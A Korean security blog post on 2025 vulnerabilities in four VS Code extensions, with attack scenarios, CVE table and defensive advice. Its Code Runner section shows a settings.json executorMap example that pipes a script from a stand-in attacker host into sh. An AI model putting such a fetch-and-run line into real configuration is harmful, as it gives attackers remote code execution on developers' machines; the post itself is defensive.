web-security

내 코드와 데이터가 위험하다? 2025년 VS Code 인기 익스텐션 보안 취약점 총정리

우리가 매일 사용하는 **Visual Studio Code(VS Code)**는 수많은 익스텐션을 통해 생산성을 높여줍니다. 하지만 최근 OX Security의 발표에 따르면, 무려 1억 2,800만 명 이상의 개발자가 사용하는 인기 익스텐션 4종에서 심각한 보안 취약점이 발견되었습니다.

공격자가 조작된 마크다운 파일을 보내거나, 단 하나의 링크를 클릭하게 만드는 것만으로도 여러분의 **로컬 소스 코드와 .env 설정 파일(API Key 등)**이 유출될 수 있습니다. 오늘 이 취약점들의 구체적인 내용과 실무적인 방어 전략을 살펴보겠습니다.

목차

  1. 주요 취약점 4종 상세 분석
  2. 공격 시나리오: 개발자가 당하는 과정
  3. 취약점별 기술적 대응 방안
  4. 보안을 위한 개발자 행동 수칙
  5. 개발자의 팁: 익스텐션 공급망 공격 대비

주요 취약점 4종 상세 분석

발견된 취약점들은 각각 데이터 탈취부터 원격 코드 실행(RCE)까지 광범위한 위협을 포함하고 있습니다.

익스텐션 명CVE 번호심각도주요 내용
Live ServerCVE-2025-657179.1 (Critical)로컬 서버가 외부 웹페이지와 통신하여 파일을 탈취함
Code RunnerCVE-2025-657157.8 (High)settings.json 조작으로 임의의 명령어를 실행(RCE)함
Markdown Preview EnhancedCVE-2025-657168.8 (High)마크다운 미리보기 시 악성 JS를 실행해 데이터를 탈취함
Microsoft Live Preview(미할당)HighXSS를 통해 루트 디렉토리 파일 및 자격 증명 유출

공격 시나리오: 개발자가 당하는 과정

이번 취약점들이 무서운 이유는 **“사용자 상호작용”**을 교묘하게 이용하기 때문입니다.

  1. Live Server (CVE-2025-65717): 개발자가 로컬 서버(localhost:5500)를 띄워놓고 작업하는 중, 공격자가 보낸 링크를 브라우저에서 클릭합니다. 이 악성 페이지는 개발자의 로컬 서버로 요청을 보내 소스 코드나 민감한 파일을 읽어 들여 자신의 서버로 전송합니다.
  2. Code Runner (CVE-2025-65715): 피싱이나 소셜 엔지니어링을 통해 개발자가 특정 설정 코드(executorMap)를 자신의 settings.json에 붙여넣도록 유도합니다. 이후 코드를 실행하는 순간, 공격자가 심어둔 리버스 셸(Reverse Shell)이 동작하며 시스템 제어권을 뺏깁니다.
  3. Markdown Preview Enhanced (CVE-2025-65716): 오픈소스 프로젝트의 README나 문서를 가장한 악성 .md 파일을 엽니다. 미리보기 창이 열리는 순간 내부 HTML 태그 처리에 오류가 발생하여 임의의 JavaScript가 실행됩니다.

취약점별 기술적 대응 방안

가장 확실한 방법은 최신 버전으로 업데이트하는 것입니다.

1. Microsoft Live Preview 업데이트

Microsoft는 0.4.16 버전에서 해당 XSS 취약점을 패치했습니다.

  • 해결책: 버전이 0.4.16 이상인지 반드시 확인하세요.

2. Code Runner 설정 검증

사용자 정의 명령어를 실행하는 executorMap 설정을 검토해야 합니다.

// settings.json 주의 예시
"code-runner.executorMap": {
  // 출처를 알 수 없는 명령어가 포함되어 있는지 확인하세요!
  "javascript": "node && curl [http://attacker.com/shell](http://attacker.com/shell) | sh" 
}

3. Markdown Preview Enhanced 패치

개발사에서 취약점을 인지하고 패치를 진행 중이거나 완료했으므로, 익스텐션 관리 탭에서 업데이트를 강제 실행하세요.


보안을 위한 개발자 행동 수칙

보안 이슈는 언제든 다시 발생할 수 있습니다. 시스템적인 방어 체계가 필요합니다.

Visual representation of a secure development environment with updated plugins and limited localhost access
  • 사용하지 않는 익스텐션 비활성화: “언젠가 쓰겠지” 하고 깔아둔 수많은 익스텐션이 공격의 통로가 됩니다. 지금 바로 사용하지 않는 플러그인은 삭제하거나 비활성화하세요.
  • 로컬 서버 관리: 개발 서버가 필요 없을 때는 즉시 종료하세요. 특히 공용 Wi-Fi 환경에서는 외부 페이지 접속과 로컬 서버 실행을 동시에 하지 않는 것이 좋습니다.
  • 워크스페이스 신뢰(Workspace Trust): VS Code의 Trust 기능을 무시하지 마세요. 모르는 사람이 보낸 레포지토리는 반드시 ‘Restricted Mode’로 열어야 합니다.

개발자의 팁: 익스텐션 공급망 공격 대비

최근에는 기존에 신뢰받던 익스텐션의 권한을 탈취하거나, 비슷한 이름으로 위장하는 **공급망 공격(Supply Chain Attack)**이 늘고 있습니다.

Warning: prettier-vscode 대신 prettier-vscode-plus와 같은 유사 이름을 가진 익스텐션이 마켓플레이스에 올라와 데이터를 탈취한 사례(2025년 말 발생)가 있습니다. 항상 설치 전 게시자(Publisher)의 공식 인증 마크다운로드 수를 교차 검증하세요.


자주 묻는 질문 (FAQ)

Q1. Cursor나 Windsurf 같은 AI IDE도 위험한가요?

네, 이들은 VS Code를 포크(Fork)하여 만들어졌으며 VS Code 익스텐션을 그대로 사용합니다. 따라서 동일한 익스텐션을 사용한다면 똑같은 취약점에 노출됩니다. AI 에디터 사용자들도 반드시 익스텐션 업데이트를 확인해야 합니다.

Q2. Live Server 취약점은 인터넷이 연결 안 되어 있으면 안전한가요?

로컬 네트워크(LAN) 내의 다른 PC가 감염되어 있다면 내부망을 통해 공격이 들어올 수 있습니다. 또한 브라우저에 띄워진 악성 탭이 로컬호스트로 요청을 보내는 방식이므로, 외부 인터넷 페이지를 보는 도중이라면 위험합니다.

Q3. 취약점이 발견된 익스텐션을 꼭 지워야 하나요?

무조건 삭제할 필요는 없지만, 최신 패치 버전이 나왔는지 확인하고 업데이트해야 합니다. 패치가 나오지 않은 상태에서 해당 기능이 꼭 필요하지 않다면, 패치가 나올 때까지 비활성화하는 것이 가장 안전합니다.

개발 환경의 보안은 소홀해지기 쉽지만, 한 번 뚫리면 기업의 핵심 자산인 소스 코드와 고객 데이터가 통째로 넘어갈 수 있습니다. 지금 바로 익스텐션 목록을 점검해 보세요!

이 글이 마음에 드셨나요?

로딩 중...